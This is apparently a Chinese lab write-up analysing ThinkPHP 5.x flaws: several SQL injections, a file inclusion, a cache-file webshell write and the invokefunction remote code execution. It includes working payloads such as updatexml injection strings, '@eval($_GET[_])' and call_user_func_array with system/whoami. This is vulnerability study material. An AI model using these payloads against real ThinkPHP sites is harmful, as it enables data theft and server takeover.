Thinkphp5_x(不包含反序列化)

Thinkphp5_x(不包含反序列化)

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/96d74354.html

Thinkphp5_x(不包含反序列化)

Thinkphp5_x(不包含反序列化)

参考链接:https://github.com/lu2ker/PHP-Code

可能被利用的函数
1
array_search ( mixed $needle , array $haystack , bool $strict=false ) # 在数组中搜索给定值,如果成功则返回第一个对应的键。

如果第三个参数没有主动设置为true(默认为false),则有绕过的可能性。

如果为false则进行弱比较匹配(不比较类型),意味着 PHP 会在进行比较时进行弱类型转换。在某些情况下,这种类型转换可能会导致意外的结果,从而引发漏洞。

例如,在某些情况下,array_search() 可能会在搜索字符串时将字符串与数字进行比较。如果字符串的内容可以被解释为数字,则 PHP 将尝试将其转换为数字,并将其视为相等。这种行为可能被恶意利用,导致安全漏洞。

in_array()
1
in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool  #检查数组中是否存在某个值

当in_array()函数的第三个参数未设置为true时(默认为false),会进行弱比较,可能会引发漏洞

filter_var()
1
filter_var( mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0) : mixed # 使用特定的过滤器过滤一个变量。

FILTER_VALIDATE_URL 过滤器把$value作为 URL 来验证,验证其是否是URL格式的字符串,但是有一个很大的问题是 这个过滤器的”宽容性很高“,类似于qwe://这种形式的URL都可以通过它的过滤。

经过一些测试发现,形如xxx://xxx即可验证通过该过滤器。但是如果前半部分是http://的话,正斜杠后边不允许有特殊字符了。比如http://><"";''是不行的但是qwe://><"";''确实可以通过过滤的。

class_exists()
1
class_exists ( string $class , bool $autoload = true ) : bool # 检查指定的类是否已定义。$autoload是是否默认调用__autoload函数。

自动包含漏洞,可以使用../路径穿越来实现任意文件包含。但是,只有在PHP5~5.3(含)中才可以在class_exists()中传入../达到目的,高版本php中向class_exists中传入../是不会调用__autoload()的。

strpos()
1
strpos ( string $haystack , mixed $needle , int $offset = 0 ) : int # 返回 needle 在 haystack 中首次出现的数字位置。如果提供了$offset,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。

返回的是int而不是bool,因此如果数字位置是0则效果和false一样

escapeshellarg()和escapeshellcmd()

...

下载安装

composer安装
1
2
3
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
sql1
环境

thinkphp5.0.15下载

1
composer create-project topthink/think=5.0.15 tp5

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

payload:

1
~/public/index.php/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,database(),0x7e),1)&username[2]=1
代码分析

从代码本身上应该是获取username参数然后插入到数据库中,最后返回更新成功结果

image-20240304140856119

先随便传入一个参数分析代码执行过程

首先是调用get方法,如果this->get参数为空就将获取到的get参数传递给this->get,然后判断name是否为数组,这里的name不是数组,会进入到下面的input函数

image-20240304141537693

在该函数中,将username按照了/进行分割,name为username,type为a

image-20240304141630796

在下面代码中进行了类型检查和强制数组类型转换,各type含义如下:image-20210831142915046

image-20240304141851612

由此返回的username参数就是get获取到的参数的数组形式

image-20240304142040564

然后进入数据库的插入函数,data进行了合并数组,结果还是之前的[username:["hello"]],这里我发现返回的sql结果是0,进入该函数分析

image-20240304142457991

查看这里的insert函数,首先进行了解析数据,这里data就直接返回空了,查看该函数

image-20240304142712277

这里的val就是data转换为list形式,没有键,即["hello"],因此此处的比较无法通过,最后返回的就是空

image-20240304142959506

因此重新传入危险参数,再次调试到该步

1
username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

此时的val就是长度为3的数组,第二个参数是很常见的报错注入

image-20240304143310307

传递后的结果如图所示,主要是此处的parseKey没有对变量值进行有效过滤

image-20240304143438165

最后返回的结果相当于把username作为的是列名字,后面的参数是要插入的值,最后返回的sql语句如下

image-20240304143624757

因此引发报错注入,会显示用户

image-20240304143930652

sql2
环境

thinkphp5.0.15下载

1
composer create-project --prefer-dist topthink/think=5.1.0 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
// db('users')->insert(['username' => $username]); 上一份测试代码
return 'Update success';
}
}

payload

1
~/public/?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
代码分析

通过观察可以看到前面获取username方法是一样的,主要分析此处的where函数,但从该语句的格式应该是更新id为1处的username为获取到的参数

用payload进行调试,可以看到此时的this就是传入的参数的内容

image-20240304164237002

那sql代码的执行应该就是在下面的update函数里面,通过查看该函数内容,可以看到sql语句生成过程

image-20240304164459903

在此处的parsedata应该就是对传入的username进行过滤清洗转换为可用形式

image-20240304164641551

在parseData函数里面的parseArrayData就是清洗的具体函数,用于解析数组形式的数据并返回相应的数据库查询语句片段,首先获取data的第一二个参数给type和value,fun是第三个参数,point是第四个参数,然后进行重新组合,会生成类似于 'GeomFromText('POINT(x y)')' 的字符串。而该函数本身的用意是将坐标 (x, y) 转换成几何点的 MySQL 函数调用,在此处我们通过构造poc替代这里的函数,使得最后生成的函数是我们的报错注入的内容

image-20240304164943983

生成result之后后面就会拼接成sql语句,然后执行,最后实现报错注入

image-20240304165616979

sql3
环境

thinkphp5.0.10下载

1
composer create-project --prefer-dist topthink/think=5.0.10 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
// $username = request()->get('username/a');
// db('users')->where(['id' => 1])->update(['username' => $username]); 上一份代码
return 'select success';
}
}

payload

1
~/public/index.php?username==updatexml(1,concat(0x7,database(),0x7e),1)
代码分析

首先看到此处已经不是username/a,说明可能强制数组类型转换,先随便传入参数进行调试分析,有此处看到由于前面传入的没有/a,所以此处type会被设置为s,s是强制转换为字符串类型

image-20240304171009653

下面返回之前进行强制字符串类型转换,该处的data就是返回的username

image-20240304171137773

接着分析第二段代码

image-20240304171300752

这是前面流程基本一致,这是生成的sql函数

image-20240304171700471

此处就是单纯对sql语句进行了拼接,应该没有检查,通过添加等号就可以看到可以成功执行了

image-20240304172025040

因此还是可以通过报错注入做

image-20240304172147665

sql4
环境

thinkphp5.0.10下载

1
composer create-project --prefer-dist topthink/think=5.0.10 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
// $username = request()->get('username');
// $result = db('users')->where('username','exp',$username)->select();
}
}

payload

1
~/public/index.php?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23
代码分析

直接根据payload调试代码理解代码执行过程

$username还是数组形式,直接分析result代码,代码执行过程就是db->where->select,前面两个和传入的参数关系不大,这里直接分析select函数,跳转到此处的sql之前我们传入的参数并没有被使用,这里的options包含了我们传入的参数的内容

image-20240304202814176

在select函数中主要是通过获取各参数值进行sql语句的生成,我们主要关注和payload有关的where

image-20240304203016264

如下所示,先进入buildwhere函数

image-20240304203328509

最后返回的wherestr和此处的str有关,继续查看相关函数

image-20240304203447389

在此处将第一个和第二个参数分别赋值给了exp和value

image-20240304203531585

后面会检查value是否为标量,如果是就会重新对value赋值,而我们此处的value是数组,还有后面对exp的过滤,发现少了not like

image-20240304203711608

接着进行模糊匹配

image-20240304203820209

生成以下内容

image-20240304204019513

最后的wherestr如图所示

image-20240304204410583

最后构造出的sql语句

image-20240304204538559

最终执行效果

image-20240304204944556

sql5
环境

thinkphp5.1.22下载

1
composer create-project --prefer-dist topthink/think=5.1.22 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
},

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
var_dump($result);
}
}

payload

1
~/public/index.php?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
代码分析

在本项目中传入的是orderby参数,并且是通过数组赋值的方式进行传递的,通过get方法理解orderby参数获取

image-20240304211101722

传递进的orderby如图所示

image-20240304211201542

通过getdata变成字符串数组

image-20240304211338857

最后返回给orderby参数的值为

image-20240304211444960

现在进入下面sql执行过程,在order函数中将传入的orderby参数给了order

image-20240304211737867

然后将options传递给connection的find方法

image-20240304211843131

如下是根据payload生成的order参数

image-20240304212627585

生成的sql语句为

1
SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1  

最终效果

image-20240304212908802

sql6
环境

沿用上文环境

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}

payload

1
~/public/index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23
代码分析

第一行代码还是一样,直接看获取到的options参数

image-20240304214040554

进入max函数查看代码执行流程,max函数中只调用了aggregate方法,而aggregate方法中又调用了connection的aggregate方法

image-20240304214344276

在该函数中重新构造了field

image-20240304214510340

接着进入value函数,value函数中的该部分会将field转换为字符串数组形式

image-20240304214751014

接着设置query的参数

image-20240304215043886

最后的sql语句就是构造的field

1
SELECT MAX(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1  

效果如图所示

image-20240304215326838

文件包含7
环境

thinkphp5.0.18下载

1
composer create-project --prefer-dist topthink/think=5.0.18 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.0.18"
},

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}

创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问~/public/index.php?cacheFile=1.jpg 链接,即可触发 文件包含漏洞

payload

1
~/public/index.php?cacheFile=1.jpg
代码分析

首先通过request()->get()获取get参数

image-20240305102443428

接着调用input方法进行过滤或者类型转换,此处没有类型转换,最后返回的data就是传递进来的值

image-20240305102552087

接着进入assign函数,在该函数中直接调用了view的assign函数

image-20240305102629136

现在进入view的assign函数,这里直接将name给了this->data,没有过滤

image-20240305102704571

最后回到主函数,由此,第一行代码的主要用处就是将get参数赋值给this->data,接着进入fetch函数,同样也是直接调用的view的fetch函数

image-20240305102840977

首先将文件名赋值给var

image-20240305102926018

在此处有对vars变量的利用

image-20240305103222701

在该函数中首先进行模板文件调取,成功就进入下面的template的fetch函数

image-20240305103336582

在template的fetch函数中,将data值赋值给了this->data变量,下面主要关注对该变量的使用,如下所示,进入了read函数

image-20240305103540991

在此处调用了extract函数,经过调试测试发现在运行该函数之后cachefile的值就会变成vars的值,应该是extract会将缓存变量覆盖成vars变量的值,最终导致cacheFile的改变

image-20240305103622178

效果呈现

image-20240305104145722

代码执行8
环境

thinkphp5.0.10下载

1
composer create-project --prefer-dist topthink/think=5.0.10 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

payload

1
~/public/index.php?username=mochazz123%0d%0a@eval($_GET[_]);//
代码分析

可以确定全部操作都是在第一行代码运行出的,首先进入input函数,经过调试在整个input函数中并没有对传入的get参数进行操作,只是将get.username拆分成了get和username,分别给了method和key,最后返回request的method

image-20240305105555449

然后就会进入get函数,和前面一样,get函数将会获取get参数内容,并在最后调用input方法

image-20240305105719139

在input函数中会对data进行强制类型转换,由于前面没有指定,因此转换的类型就是字符串形式,最后返回的data如下

image-20240305105858355

接着进入set方法,看来主要就是下面的set方法

image-20240305105949275

首先是init函数,对self进行初始化

image-20240305110102282

然后是set函数,首先根据name获取要存入的文件的filename

image-20240305110240895

如下是filename的具体生成过程

image-20240305110335703

然后将value序列化给data,然后加上前后缀,就直接放入前面生成的filename所指定的文件,由于缺少内容过滤过程,因此很容易被写入恶意代码

image-20240305110435609

最终实验效果如下,由于开启了火绒,文件会被自动删除image-20240305110634120

代码执行9
环境

thinkphp5.1.30下载

1
composer create-project --prefer-dist topthink/think=5.1.30 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.30"
},

同目录下执行composer update

payload
1
~/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
代码分析

首先明确 index/\think\app/invokefunction 是路径信息,pathinfo,指定了请求的处理逻辑,call_user_func_array 应该是请求的函数,vars是两个变量

从此处的pathinfo函数进行分析,此处的var_pathinfo就是s,代表的是兼容参数,因此我们传入的第一个参数的值会被赋值给$pathinfo

image-20240305164143503

接着进入path函数,去除了正常的url后缀,最后返回的path还是 index/\think\app/invokefunction

image-20240305164350845

接着在routecheck函数中检查是否为强制路由模式

image-20240305164506065

然后进入check方法,在此处又会对url进行检测,这里的url就是前面的path

image-20240305164637464

在这个 check 方法中,首先会检测别名路由,然后检测 URL 绑定。如果检测到任何一个条件匹配成功,就会返回相应的结果。如果没有匹配到别名路由或者 URL 绑定,就会继续检测是否有设置了 appendmiddleware 选项,如果有的话,会进行相应的处理。在当前情况下以上条件都不满足,则会调用父类的 check 方法进行检测。

image-20240305165021043

最后返回的结果还是false,表示请求的URL不正确或者不在预期的范围内。

image-20240305165316403

然后返回前面的check函数,在此处对must进行了判断,如果是强制路由就引发异常,在此处不是

image-20240305165424324

然后进行url解析,此处的this->dispatch就是s的值

image-20240305165605584

然后进入parseurlpath函数,返回的path和var的值如下所示

image-20240305165810171

接着就是解析模块,在该模块中对控制器和运行函数都进行了解析

image-20240305170010343

接着封装路由并返回

image-20240305170107768

这个函数将会返回执行结果

image-20240305170449539

最后在dispatch函数中调用了call_user_func,将后面传入的两个参数分别作为命令和参数,因为在request里面制定了模块,控制器,方法,还有参数

image-20240305170643834

运行结果如图所示

image-20240305170902184

代码执行10
环境

thinkphp5.0.23下载

1
composer create-project --prefer-dist topthink/think=5.0.23 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.23"
},

同目录下执行composer update

payload

image-20240305214203124

代码分析

该实验主要的漏洞点在于此处的method方法不对post的数据进行过滤,用户可以构造成自己想执行的this的方法,此处采取构造成construct方法

image-20240305213920337

然后接着就会调用construct方法,而construct方法就是对变量进行覆盖

image-20240305214010427

这里我们主要是利用filtervalue函数中call_user_func方法,因此覆盖的就是filter和value

image-20240305214102646

实验效果

image-20240305214143722

Thinkphp5_x(不包含反序列化)

http://example.com/post/96d74354.html

Author

yyyyyyxnp

Posted on

2024-03-03

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.